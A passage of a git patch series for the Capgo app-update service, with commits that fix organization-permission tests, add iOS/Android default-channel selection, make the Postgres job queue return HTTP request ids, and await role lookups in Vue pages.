+GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO PUBLIC;
+GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO anon;
+GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO authenticated;
\ No newline at end of file

From c1e7c7834182ce93eafd1fdd015fa5c31791765d Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Thu, 23 Nov 2023 04:58:38 +0100
Subject: [PATCH 71/96] Small fixes

---
 supabase/migrations/20231121174425_organization_system.sql | 1 +
 tests/organization_system.spec.ts                          | 5 +++--
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/supabase/migrations/20231121174425_organization_system.sql b/supabase/migrations/20231121174425_organization_system.sql
index 3005834cc0..421edcb74b 100644
--- a/supabase/migrations/20231121174425_organization_system.sql
+++ b/supabase/migrations/20231121174425_organization_system.sql
@@ -1,3 +1,4 @@
+-- https://github.com/Cap-go/capgo/blob/3dd137350d8485a3dcadd30397c0638bbea9a517/supabase/migrations/20230815171919_base.sql
 CREATE TYPE "public"."orgs_table" AS (
     id uuid,
     created_by uuid,
diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index b9ee375603..7ffb120236 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -882,7 +882,7 @@ test.describe('Test organization system permissions', () => {
         }
         else {
           await expectPopout(page, 'Insufficient permissions')
-          expect(await page.locator('#base-input').getAttribute('readonly')).toBeTruthy()
+          expect(await page.locator('#base-input').getAttribute('readonly') === null).toBe(false)
         }
 
         // Now let's go test members. This is hopefuly the last thing to test
@@ -890,7 +890,8 @@ test.describe('Test organization system permissions', () => {
 
         // member-card
         // After page switch make sure we are still at the same org
-        expect(await getOrgName(page)).toBe('Demo org temp')
+        const expectedOrgName = permission.changeOrgName ? 'Demo org temp' : 'Demo org'
+        expect(await getOrgName(page)).toBe(expectedOrgName)
         const allMembersLocator = await page.locator('#member-card')
 
         const { error: allMembersSupabaseError, count: allMembersSupaCount } = await supabase.from('org_users')

From d84b139aedc1747316eb655bfaccc24c0974bc93 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Thu, 23 Nov 2023 16:26:19 +0100
Subject: [PATCH 72/96] Fix frontend tests after merge

---
 tests/organization_system.spec.ts | 15 ++++++++++-----
 tests/utils.ts                    |  8 ++------
 2 files changed, 12 insertions(+), 11 deletions(-)

diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index 7ffb120236..b0a5cc379c 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -1,14 +1,18 @@
 // import type { Page } from '@playwright/test'
 import path from 'node:path'
+import { fileURLToPath } from 'node:url';
 import { readFileSync } from 'node:fs'
-import exp from 'node:constants'
 import type { Locator, Page } from '@playwright/test'
 import { expect, test } from '@playwright/test'
-import { diff } from 'deep-diff'
+import pkg from 'deep-diff';
+const { diff } = pkg;
 import type { SupabaseType } from './utils'
 import { BASE_URL, SUPABASE_URL, awaitPopout, beforeEachTest, expectPopout, firstItemAsync, useSupabase, useSupabaseAdmin } from './utils'
 import type { Database } from '~/types/supabase.types'
 
+
+const __dirname = path.dirname(fileURLToPath(import.meta.url));
+
 test.beforeEach(beforeEachTest)
 
 const inviteTypes = ['read', 'upload', 'write', 'admin']
@@ -407,10 +411,11 @@ test.describe('Test organization system permissions', () => {
           .select('', { count: 'exact' })
           .eq('app_id', 'com.demo.app')
         await expect(allChannelsSupabaseError).toBeFalsy()
+        expect (allChannelsCount).toBeTruthy()
 
         // Expect the channel table to have the same count as supabase
         const allchannelsLocator = await page.locator('#custom_table > tbody > tr')
-        await expect(allchannelsLocator).toHaveCount(2)
+        await expect(allchannelsLocator).toHaveCount(allChannelsCount!)
         const allChannels = await allchannelsLocator.all()
 
         // Attempt to delete a channel. That is based on the permission matrix
@@ -476,7 +481,7 @@ test.describe('Test organization system permissions', () => {
           // https://github.com/microsoft/playwright/issues/5470
           if (permission.changeChannelToggle) {
             await Promise.all([
-              page.waitForRequest(`${SUPABASE_URL}\/**`),
+              page.waitForResponse(`${SUPABASE_URL}\/**`),
               await toggle.click(),
             ])
           }
@@ -779,7 +784,7 @@ test.describe('Test organization system permissions', () => {
         await page.click('#organization-picker')
         const allOrgsLocator = await page.locator('#dropdown-org > ul > li')
 
-        await expect(allOrgsLocator).toHaveCount(2)
+        await expect(allOrgsLocator).toHaveCount(inviteType === 'owner' ? 1 : 2)
         const demoOrgButton = await firstItemAsync(await allOrgsLocator.all(), async (orgName) => {
           return (await orgName.innerHTML()).includes('Demo org')
         })
diff --git a/tests/utils.ts b/tests/utils.ts
index 04795b9419..468e7cbb16 100644
--- a/tests/utils.ts
+++ b/tests/utils.ts
@@ -4,7 +4,6 @@ import type { Page } from '@playwright/test'
 import { expect } from '@playwright/test'
 import type { Database } from '~/types/supabase.types'
 
-const DEFAULT_EMAIL = 'test@capgo.app'
 const DEFAULT_PASSWORD = 'testtest'
 const START_TIMEOUT = 3000
 
@@ -14,7 +13,6 @@ const defaultSupabaseUrl = 'http://localhost:54321'
 const defaultSupabaseAnonKey = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZS1kZW1vIiwicm9sZSI6ImFub24iLCJleHAiOjE5ODM4MTI5OTZ9.CRXP1A7WOeoJeXxjNni43kdQwgnWNReilDMblYTn_I0'
 const defaultSupabaseServiceKey = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZS1kZW1vIiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImV4cCI6MTk4MzgxMjk5Nn0.EGIM96RAZx35lJzdJsyH-qQwv8Hdp7fsn3W0YpN81IU'
 
-let supaClient: SupabaseClient<Database> = null as any
 let supaClientAdmin: SupabaseClient<Database> = null as any
 
 export type SupabaseType = SupabaseClient<Database>
@@ -45,11 +43,9 @@ export async function useSupabase(page: Page) {
       detectSessionInUrl: false,
     },
   }
-  // return createClient<Database>(supabaseUrl, supabaseAnonKey, options)
-  if (supaClient)
-    return supaClient
+
   // eslint-disable-next-line n/prefer-global/process
-  supaClient = createClient<Database>(process.env.SUPABASE_URL ?? defaultSupabaseUrl, process.env.SUPABASE_ANON ?? defaultSupabaseAnonKey, options)
+  const supaClient = createClient<Database>(process.env.SUPABASE_URL ?? defaultSupabaseUrl, process.env.SUPABASE_ANON ?? defaultSupabaseAnonKey, options)
 
   const supabaseEmail = await page.evaluate(() => localStorage.getItem('supabase-email'))
   await expect(supabaseEmail).toBeTruthy()

From c6c64f4ab7f9447a37cc144662f79c3586653904 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Fri, 24 Nov 2023 05:23:50 +0100
Subject: [PATCH 73/96] Fix channel_self (multiple default channels)

---
 supabase/functions/channel_self/index.ts | 39 +++++++++++++++++++++---
 1 file changed, 34 insertions(+), 5 deletions(-)

diff --git a/supabase/functions/channel_self/index.ts b/supabase/functions/channel_self/index.ts
index 3e3e370101..30fcce76c9 100644
--- a/supabase/functions/channel_self/index.ts
+++ b/supabase/functions/channel_self/index.ts
@@ -11,6 +11,8 @@ interface DeviceLink extends AppInfos {
   channel?: string
 }
 
+const devicePlatformScheme = z.union([z.literal('ios'), z.literal('android')])
+
 export const jsonRequestSchema = z.object({
   app_id: z.string({
     required_error: MISSING_STRING_APP_ID,
@@ -30,6 +32,7 @@ export const jsonRequestSchema = z.object({
   }),
   is_emulator: z.boolean().default(false),
   is_prod: z.boolean().default(true),
+  platform: devicePlatformScheme,
 }).passthrough().refine(data => reverseDomainRegex.test(data.app_id), {
   message: INVALID_STRING_APP_ID,
 }).refine(data => deviceIdRegex.test(data.device_id), {
@@ -141,6 +144,7 @@ async function post(body: DeviceLink): Promise<Response> {
       .eq('allow_device_self_set', true)
       .single()
     if (dbError || !dataChannel) {
+      console.log(channel, app_id)
       console.error('Cannot find channel', { dbError, dataChannel })
       return sendRes({
         message: `Cannot find channel ${JSON.stringify(dbError)}`,
@@ -151,14 +155,20 @@ async function post(body: DeviceLink): Promise<Response> {
     // Get the main channel
     const { data: mainChannel, error: dbMainChannelError } = await supabaseAdmin()
       .from('channels')
-      .select('name')
+      .select('name, ios, android')
       .eq('app_id', app_id)
       .eq('public', true)
-      .single()
 
     // We DO NOT return if there is no main channel as it's not a critical error
     // We will just set the channel_devices as the user requested
-    const mainChannelName = (!dbMainChannelError && mainChannel) ? mainChannel.name : null
+    let mainChannelName = null as string | null
+    if (!dbMainChannelError) {
+      const devicePlatform = parseResult.data.platform
+      const finalChannel = mainChannel.find(channel => channel[devicePlatform] === true)
+      mainChannelName = (finalChannel !== undefined) ? finalChannel.name : null 
+    }
+
+    // const mainChannelName = (!dbMainChannelError && mainChannel) ? mainChannel.name : null
     if (dbMainChannelError || !mainChannel)
       console.error('Cannot find main channel', dbMainChannelError)
 
@@ -272,7 +282,7 @@ async function put(body: DeviceLink): Promise<Response> {
     .select()
     .eq('app_id', app_id)
     .eq('public', true)
-    .single()
+
   const { data: dataChannelOverride } = await supabaseAdmin()
     .from('channel_devices')
     .select(`
@@ -308,8 +318,27 @@ async function put(body: DeviceLink): Promise<Response> {
       version_build,
       version: version.id,
     }])
+
+    const devicePlatform = devicePlatformScheme.safeParse(platform)
+    if (!devicePlatform.success) {
+      return sendRes({
+        message: 'Invalid device platform',
+        error: 'invalid_platform',
+      }, 400)
+    }
+
+    const finalChannel = dataChannel.find(channel => channel[devicePlatform.data] === true)
+
+    if (!finalChannel) {
+      console.error('Cannot find channel', { dataChannel, errorChannel })
+      return sendRes({
+        message: 'Cannot find channel',
+        error: 'channel_not_found',
+      }, 400)
+    }
+
     return sendRes({
-      channel: dataChannel.name,
+      channel: finalChannel.name,
       status: 'default',
     })
   }

From eeaa25611a0a9deb1b3d9f88c9bfe3ef5c01715c Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sat, 25 Nov 2023 12:49:55 +0100
Subject: [PATCH 74/96] Fix tests for queue system

---
 .../20231020160052_queue_system.sql           | 12 ++--
 .../20231121174425_organization_system.sql    | 36 +++++++++-
 tests_backend/run_backend_tests.ts            | 11 +--
 tests_backend/tests/backend/updates_test.ts   | 71 +++++++++++++++++--
 tests_backend/utils.ts                        | 23 +++++-
 5 files changed, 134 insertions(+), 19 deletions(-)

diff --git a/supabase/migrations/20231020160052_queue_system.sql b/supabase/migrations/20231020160052_queue_system.sql
index 197d895465..7110e8a352 100644
--- a/supabase/migrations/20231020160052_queue_system.sql
+++ b/supabase/migrations/20231020160052_queue_system.sql
@@ -30,10 +30,11 @@ $$;
 
 SET statement_timeout TO 0;
 CREATE OR REPLACE FUNCTION process_current_jobs_if_unlocked()
-RETURNS VOID AS $$
+RETURNS setof BIGINT AS $$
 DECLARE
     worker RECORD;
     current_job RECORD;
+    request_id bigint;
 BEGIN
     -- Find an unlocked worker
     SELECT * INTO worker FROM workers FOR UPDATE SKIP LOCKED LIMIT 1;
@@ -48,7 +49,8 @@ BEGIN
             RAISE NOTICE 'Processing job_id: %, payload: %', current_job.job_id, current_job.payload;
 
             IF (current_job.job_type = 'TRIGGER' AND current_job.function_name IS NOT NULL) THEN
-                PERFORM http_post_helper(current_job.function_name, current_job.function_type, current_job.payload::jsonb);
+                SELECT http_post_helper(current_job.function_name, current_job.function_type, current_job.payload::jsonb) INTO request_id;
+                return next request_id;
             END IF;
 
             -- Please tell me if this APP_DELETE, DEVICE_DELETE, APP_VERSION_DELETE is even required with clickhouse @riderx
@@ -96,21 +98,21 @@ BEGIN
     PERFORM cron.schedule(
         'process_current_jobs_if_unlocked_job_1',
         '* * * * *',
-        $$ SELECT process_current_jobs_if_unlocked(); $$
+        $$ PERFORM process_current_jobs_if_unlocked(); $$
     );
     -- Schedule second job with a 20-second delay
     PERFORM pg_sleep(20);
     PERFORM cron.schedule(
         'process_current_jobs_if_unlocked_job_2',
         '* * * * *',
-        $$ SELECT process_current_jobs_if_unlocked(); $$
+        $$ PERFORM process_current_jobs_if_unlocked(); $$
     );
     -- Schedule third job with another 20-second delay
     PERFORM pg_sleep(20);
     PERFORM cron.schedule(
         'process_current_jobs_if_unlocked_job_3',
         '* * * * *',
-        $$ SELECT process_current_jobs_if_unlocked(); $$
+        $$ PERFORM process_current_jobs_if_unlocked(); $$
     );
 END;
 $body$ LANGUAGE plpgsql;
diff --git a/supabase/migrations/20231121174425_organization_system.sql b/supabase/migrations/20231121174425_organization_system.sql
index 421edcb74b..88e541c852 100644
--- a/supabase/migrations/20231121174425_organization_system.sql
+++ b/supabase/migrations/20231121174425_organization_system.sql
@@ -513,4 +513,38 @@ GRANT ALL ON FUNCTION "public"."get_orgs"("userid" "uuid") TO "service_role";
 
 GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO PUBLIC;
 GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO anon;
-GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO authenticated;
\ No newline at end of file
+GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO authenticated;
+
+
+-- Minor change over base.sql. this versions returns "bigint"
+CREATE OR REPLACE FUNCTION public.http_post_helper(function_name text, function_type text, body jsonb) 
+RETURNS bigint 
+LANGUAGE plpgsql 
+SECURITY DEFINER
+AS $BODY$
+DECLARE 
+  request_id text;
+  url text;
+BEGIN 
+  -- Determine the URL based on the function_type
+  IF function_type = 'external' THEN
+    url := get_external_function_url() || function_name;
+  ELSE
+    url := get_db_url() || '/functions/v1/' || function_name;
+  END IF;
+
+  -- Make an async HTTP POST request using pg_net
+  SELECT INTO request_id net.http_post(
+    url := url,
+    headers := jsonb_build_object(
+      'Content-Type',
+      'application/json',
+      'apisecret',
+      get_apikey()
+    ),
+    body := body,
+    timeout_milliseconds := 15000
+  );
+  return request_id;
+END;
+$BODY$;
\ No newline at end of file
diff --git a/tests_backend/run_backend_tests.ts b/tests_backend/run_backend_tests.ts
index 060b380efa..53784e309e 100644
--- a/tests_backend/run_backend_tests.ts
+++ b/tests_backend/run_backend_tests.ts
@@ -24,7 +24,7 @@ let backendType: 'none' | 'local' | 'upstash' | null = null
 const noRedisEnvFilePath = await getEnvFile('none')
 const localRedisEnvFilePath = await getEnvFile('local')
 
-async function getAdminSupabaseTokens(): Promise<{ url: string; serviceKey: string; anonToken: string }> {
+async function getAdminSupabaseTokens(): Promise<{ url: string; serviceKey: string; anonToken: string, postgressRawUrl: string }> {
   const command = new Deno.Command('supabase', {
     args: [
       'status',
@@ -40,8 +40,9 @@ async function getAdminSupabaseTokens(): Promise<{ url: string; serviceKey: stri
   let adminToken = separateLines.find(line => line.includes('service_role'))
   let url = separateLines.find(line => line.includes('API URL'))
   let anonToken = separateLines.find(line => line.includes('anon'))
+  let postgressRawUrl = separateLines.find(line => line.includes('DB URL'))
 
-  if (!adminToken || !url || !anonToken) {
+  if (!adminToken || !url || !anonToken || !postgressRawUrl) {
     p.log.error('Cannot get supabase tokens')
     console.log('output\n', output)
     Deno.exit(1)
@@ -50,11 +51,13 @@ async function getAdminSupabaseTokens(): Promise<{ url: string; serviceKey: stri
   adminToken = adminToken.replace('service_role key: ', '').trim()
   url = url.replace('API URL: ', '').trim()
   anonToken = anonToken.replace('anon key: ', '').trim()
+  postgressRawUrl = postgressRawUrl.replace('DB URL: ', '').trim()
 
   return {
     serviceKey: adminToken,
     url,
     anonToken,
+    postgressRawUrl
   }
 }
 
@@ -89,8 +92,8 @@ async function getEnvFile(redis: 'none' | 'local') {
 
 export async function connectToSupabase() {
   try {
-    const { serviceKey, url, anonToken } = await getAdminSupabaseTokens()
-    setSupabaseSecrets(serviceKey, anonToken, url)
+    const { serviceKey, url, anonToken, postgressRawUrl } = await getAdminSupabaseTokens()
+    setSupabaseSecrets(serviceKey, anonToken, url, postgressRawUrl)
     const options = {
       auth: {
         autoRefreshToken: false,
diff --git a/tests_backend/tests/backend/updates_test.ts b/tests_backend/tests/backend/updates_test.ts
index c6fd63f2c2..24f260f08c 100644
--- a/tests_backend/tests/backend/updates_test.ts
+++ b/tests_backend/tests/backend/updates_test.ts
@@ -1,5 +1,5 @@
 import type { RunnableTest, SupabaseType, updateAndroidBaseData } from '../../utils.ts'
-import { assert, assertEquals, updateAndroidBaseData as baseData, defaultUserId, delay, getUpdateBaseData as getBaseData, getResponseError, responseOk, sendUpdate } from '../../utils.ts'
+import { assert, assertEquals, updateAndroidBaseData as baseData, defaultUserId, delay, getUpdateBaseData as getBaseData, getResponseError, responseOk, sendUpdate, getRawSqlConnection } from '../../utils.ts'
 
 export function getTest(): RunnableTest {
   return {
@@ -295,13 +295,47 @@ async function testUpdateEndpoint(backendBaseUrl: URL, supabase: SupabaseType) {
   }
 }
 
+async function forceSupabaseTaskQueueFlush(_supabase: SupabaseType) {
+  const connection = await getRawSqlConnection()
+
+  // Ugly, but should work for the most part
+  const error = console.error
+  // Ignore the notices raised by postgress
+  console.error = function(...data: any[]) {}
+
+  const result = await connection.queryArray<[bigint]>('select process_current_jobs_if_unlocked();')
+
+  const waitForResponseArray = result.rows.map(async (id) => {
+    if (id.length !== 1) 
+      throw new Error(`Request id length not 0 (it's ${id.length}).\nRow Data: ${id}\nTotal data: ${result}`)
+
+    let shouldPool = true
+    const reqId = id[0]
+
+    while (shouldPool) {
+      await delay(50)
+      const poolResult = await connection.queryArray('SELECT * FROM net._http_response WHERE id=$1', [reqId])
+      shouldPool = poolResult.rowCount !== 1
+    }
+  })
+
+  try {
+    // Timeout of 10 seconds
+    await Promise.race([delay(10_000), Promise.all(waitForResponseArray)]);
+  } catch(err) {
+    console.log('Pool task queue HTTP response timedout after 10 seconds!')
+    console.log(err);
+  }
+
+  console.error = error
+} 
+
 async function testTwoChannels(_backendBaseUrl: URL, supabase: SupabaseType) {
   // We update production channel iOS: true then check if two_default channel is still public or not
   const { error: changeProductiuonChannelError } = await supabase.from('channels').update({ ios: true }).eq('id', 22)
   assert(changeProductiuonChannelError === null, `Supabase change production channel (ios) error ${JSON.stringify(changeProductiuonChannelError)} is not null`)
-
   try {
-    await delay(7000)
+    await forceSupabaseTaskQueueFlush(supabase)
     const { data: secondChannel, error: getSecondChannelError } = await supabase
       .from('channels')
       .select('*')
@@ -324,7 +358,7 @@ async function testTwoChannels(_backendBaseUrl: URL, supabase: SupabaseType) {
   const { error: changeSecondChannelError } = await supabase.from('channels').update({ android: true }).eq('id', 24)
   assert(changeSecondChannelError === null, `Supabase change production channel (ios) error ${JSON.stringify(changeSecondChannelError)} is not null`)
   try {
-    await delay(7000)
+    await forceSupabaseTaskQueueFlush(supabase)
     const { data: prodChannel, error: getSecondChannelError } = await supabase
       .from('channels')
       .select('*')
@@ -347,7 +381,7 @@ async function testTwoChannels(_backendBaseUrl: URL, supabase: SupabaseType) {
   const { error: changeSecondChannelError2 } = await supabase.from('channels').update({ android: false }).eq('id', 22)
   assert(changeSecondChannelError2 === null, `Supabase change production channel (ios) error ${JSON.stringify(changeSecondChannelError2)} is not null`)
   try {
-    await delay(7000)
+    await forceSupabaseTaskQueueFlush(supabase)
     const { data: secondChannel, error: getSecondChannelError } = await supabase
       .from('channels')
       .select('*')
@@ -364,14 +398,13 @@ async function testTwoChannels(_backendBaseUrl: URL, supabase: SupabaseType) {
 
     const { error: changeSecondChannelError } = await supabase.from('channels').update({ public: true }).eq('id', 24)
     assert(changeSecondChannelError === null, `Supabase change production channel (ios) error ${JSON.stringify(changeSecondChannelError)} is not null`)
-    await delay(7000)
   }
 
   // We update two_default channel iOS: false then check if production channel is still public or not
   const { error: changeSecondChannelError3 } = await supabase.from('channels').update({ ios: false }).eq('id', 24)
   assert(changeSecondChannelError3 === null, `Supabase change production channel (ios) error ${JSON.stringify(changeSecondChannelError3)} is not null`)
   try {
-    await delay(7000)
+    await forceSupabaseTaskQueueFlush(supabase)
     const { data: prodChannel, error: getSecondChannelError } = await supabase
       .from('channels')
       .select('*')
@@ -389,9 +422,26 @@ async function testTwoChannels(_backendBaseUrl: URL, supabase: SupabaseType) {
     const { error: changeSecondChannelError } = await supabase.from('channels').update({ public: true }).eq('id', 22)
     assert(changeSecondChannelError === null, `Supabase change production channel (ios) error ${JSON.stringify(changeSecondChannelError)} is not null`)
   }
+
+  await forceSupabaseTaskQueueFlush(supabase)
 }
 
 async function testForIos(backendBaseUrl: URL, supabase: SupabaseType) {
+  // prepare supabase
+  const { error: getIosChannelError, data: prevIosChannelGet } = await supabase.from('channels')
+    .select()
+    .eq('id', '24')
+    .single()
+
+  assert(getIosChannelError === null, `Get ios channel error not null. ${getIosChannelError}`)
+
+  const { error: setIosChannelError } = await supabase.from('channels')
+    .update({ public: true, ios: true })
+    .eq('id', '24')
+    .single()
+
+    assert(setIosChannelError === null, `Set ios channel error not null. ${setIosChannelError}`)
+
   // Test for IOS device
   try {
     const iosNoNewData = getBaseDataIos()
@@ -423,5 +473,12 @@ async function testForIos(backendBaseUrl: URL, supabase: SupabaseType) {
   finally {
     const { error: deleteDeviceError } = await supabase.from('devices').delete().eq('device_id', baseDataIos.device_id)
     assert(deleteDeviceError === null, `Supabase delete device IOS error ${JSON.stringify(deleteDeviceError)} is not null`)
+
+    const { error: setIosChannelError } = await supabase.from('channels')
+    .update(prevIosChannelGet!)
+    .eq('id', '24')
+    .single()
+
+    assert(setIosChannelError === null, `Set ios channel error not null. ${setIosChannelError}`)
   }
 }
diff --git a/tests_backend/utils.ts b/tests_backend/utils.ts
index 2b12e53225..b830f3ae67 100644
--- a/tests_backend/utils.ts
+++ b/tests_backend/utils.ts
@@ -3,11 +3,16 @@ import { isEqual } from 'https://esm.sh/lodash-es@^4.17.21'
 import { mergeReadableStreams } from 'https://deno.land/std@0.201.0/streams/merge_readable_streams.ts'
 import * as p from 'npm:@clack/prompts@0.7.0'
 import type { Database } from '../supabase/functions/_utils/supabase.types.ts'
+import { Pool, PoolClient } from "https://deno.land/x/postgres@v0.17.0/mod.ts";
 
 export const defaultUserId = '6aa76066-55ef-4238-ade6-0b32334a4097'
 let supabaseSecret: string | null = null
 let supabaseAnonToken: string | null = null
 let supabaseUrl: string | null = null
+let postgressRawDbUrl: string | null = null
+
+let rawPool: null | Pool = null
+let rawConnection: null | PoolClient = null
 
 export interface Test {
   name: string
@@ -22,10 +27,11 @@ export interface RunnableTest {
   testWithRedis: boolean
 }
 
-export function setSupabaseSecrets(secret: string, anonToken: string, url: string) {
+export function setSupabaseSecrets(secret: string, anonToken: string, url: string, postgressRawUrl: string) {
   supabaseSecret = secret
   supabaseAnonToken = anonToken
   supabaseUrl = url
+  postgressRawDbUrl = postgressRawUrl
 }
 
 export function getSupabaseSecret() {
@@ -104,7 +110,7 @@ export async function testPlaywright(spec: string, env: { [key: string]: string
       SUPABASE_ANON: supabaseAnonToken!,
       SUPABASE_SERVICE: supabaseSecret!,
       SUPABASE_URL: supabaseUrl!,
-      START_FRONTEND: true,
+      START_FRONTEND: 'true',
       ...env,
     },
   })
@@ -140,4 +146,17 @@ export async function runSubprocess(command: Deno.Command, commandName: string)
   }
 }
 
+export async function getRawSqlConnection() {
+  if (rawConnection) {
+    return rawConnection
+  }
+
+  assert(!!postgressRawDbUrl, 'Supabase raw postgress url is null')
+  const pool = new Pool(postgressRawDbUrl!, 3, true);
+  rawPool = pool
+
+  rawConnection = await pool.connect()
+  return rawConnection
+}
+
 export type SupabaseType = SupabaseClient<Database>

From f0828af8138cda6e3cee365c271c8b4c1288710a Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sat, 25 Nov 2023 13:11:24 +0100
Subject: [PATCH 75/96] Fix org migrantion sql

---
 supabase/migrations/20231121174425_organization_system.sql | 1 +
 1 file changed, 1 insertion(+)

diff --git a/supabase/migrations/20231121174425_organization_system.sql b/supabase/migrations/20231121174425_organization_system.sql
index 88e541c852..60676fefe6 100644
--- a/supabase/migrations/20231121174425_organization_system.sql
+++ b/supabase/migrations/20231121174425_organization_system.sql
@@ -517,6 +517,7 @@ GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user
 
 
 -- Minor change over base.sql. this versions returns "bigint"
+DROP FUNCTION public.http_post_helper(function_name text, function_type text, body jsonb);
 CREATE OR REPLACE FUNCTION public.http_post_helper(function_name text, function_type text, body jsonb) 
 RETURNS bigint 
 LANGUAGE plpgsql 

From 1847b85451d6d1f7e859965163b10083ac19a180 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sat, 25 Nov 2023 13:22:41 +0100
Subject: [PATCH 76/96] Fix selectable disallow

---
 tests/selectable_disallow.spec.ts | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/tests/selectable_disallow.spec.ts b/tests/selectable_disallow.spec.ts
index 23d7109877..d14feb78c1 100644
--- a/tests/selectable_disallow.spec.ts
+++ b/tests/selectable_disallow.spec.ts
@@ -6,7 +6,7 @@ test.beforeEach(beforeEachTest)
 
 test('test selectable disallow (no AB)', async ({ page }) => {
   // Get supabase (auth + create client)
-  const supabase = await useSupabase()
+  const supabase = await useSupabase(page)
 
   // Prepare test
   const { error: bundleErrorPrepare } = await supabase
@@ -69,7 +69,7 @@ test('test selectable disallow (no AB)', async ({ page }) => {
 
 test('test selectable disallow (with AB)', async ({ page }) => {
   // Get supabase (auth + create client)
-  const supabase = await useSupabase()
+  const supabase = await useSupabase(page)
 
   // Prepare test
   const { error: bundleErrorPrepare } = await supabase

From 1ae48062102f93930dd871bc3a104e6432c2b534 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sat, 25 Nov 2023 15:08:02 +0100
Subject: [PATCH 77/96] Fix selectable disallow frontend test

---
 src/components/tables/ChannelTable.vue    | 4 ++--
 src/pages/app/p/[p]/bundle/[bundle].vue   | 4 ++--
 src/pages/app/p/[p]/channel/[channel].vue | 4 ++--
 src/pages/app/p/[p]/d/[device].vue        | 2 +-
 src/stores/organization.ts                | 4 +++-
 5 files changed, 10 insertions(+), 8 deletions(-)

diff --git a/src/components/tables/ChannelTable.vue b/src/components/tables/ChannelTable.vue
index 451eb1e398..1873e0645f 100644
--- a/src/components/tables/ChannelTable.vue
+++ b/src/components/tables/ChannelTable.vue
@@ -206,7 +206,7 @@ async function refreshData() {
 }
 async function deleteOne(one: typeof element) {
   // console.log('deleteBundle', bundle)
-  if (!organizationStore.hasPermisisonsInRole(organizationStore.getCurrentRole(one.created_by, one.app_id, one.id), ['admin', 'owner'])) {
+  if (!organizationStore.hasPermisisonsInRole(await organizationStore.getCurrentRole(one.created_by, one.app_id, one.id), ['admin', 'owner'])) {
     toast.error(t('no-permission'))
     return
   }
@@ -282,7 +282,7 @@ async function reload() {
 }
 
 async function openAddChannel() {
-  if (organizationStore.hasPermisisonsInRole(organizationStore.getCurrentRole(props.appOwner, props.appId), ['admin', 'owner']))
+  if (organizationStore.hasPermisisonsInRole(await organizationStore.getCurrentRole(props.appOwner, props.appId), ['admin', 'owner']))
     addChannelModal.value = true
 
   else
diff --git a/src/pages/app/p/[p]/bundle/[bundle].vue b/src/pages/app/p/[p]/bundle/[bundle].vue
index 971d3ecc2a..8e779b1a65 100644
--- a/src/pages/app/p/[p]/bundle/[bundle].vue
+++ b/src/pages/app/p/[p]/bundle/[bundle].vue
@@ -51,13 +51,13 @@ const showChannel = computed(() => {
 })
 
 const role = ref<OrganizationRole | null>(null)
-watch(version, (version) => {
+watch(version, async (version) => {
   if (!version) {
     role.value = null
     return
   }
 
-  role.value = organizationStore.getCurrentRole(version.user_id, version.app_id, undefined)
+  role.value = await organizationStore.getCurrentRole(version.user_id, version.app_id, undefined)
   console.log(role.value)
 })
 
diff --git a/src/pages/app/p/[p]/channel/[channel].vue b/src/pages/app/p/[p]/channel/[channel].vue
index 81354ea603..c3ea3d6801 100644
--- a/src/pages/app/p/[p]/channel/[channel].vue
+++ b/src/pages/app/p/[p]/channel/[channel].vue
@@ -43,13 +43,13 @@ const ActiveTab = ref('info')
 const secondaryVersionPercentage = ref(50)
 
 const role = ref<OrganizationRole | null>(null)
-watch(channel, (channel) => {
+watch(channel, async (channel) => {
   if (!channel) {
     role.value = null
     return
   }
 
-  role.value = organizationStore.getCurrentRole(channel.created_by, channel.app_id, channel.id)
+  role.value = await organizationStore.getCurrentRole(channel.created_by, channel.app_id, channel.id)
   console.log(role.value)
 })
 
diff --git a/src/pages/app/p/[p]/d/[device].vue b/src/pages/app/p/[p]/d/[device].vue
index 018c19504b..e8270da95c 100644
--- a/src/pages/app/p/[p]/d/[device].vue
+++ b/src/pages/app/p/[p]/d/[device].vue
@@ -207,7 +207,7 @@ async function getOrgRole() {
     return
   }
 
-  role.value = organizationStore.getCurrentRole(data.user_id, packageId.value, undefined)
+  role.value = await organizationStore.getCurrentRole(data.user_id, packageId.value, undefined)
 }
 
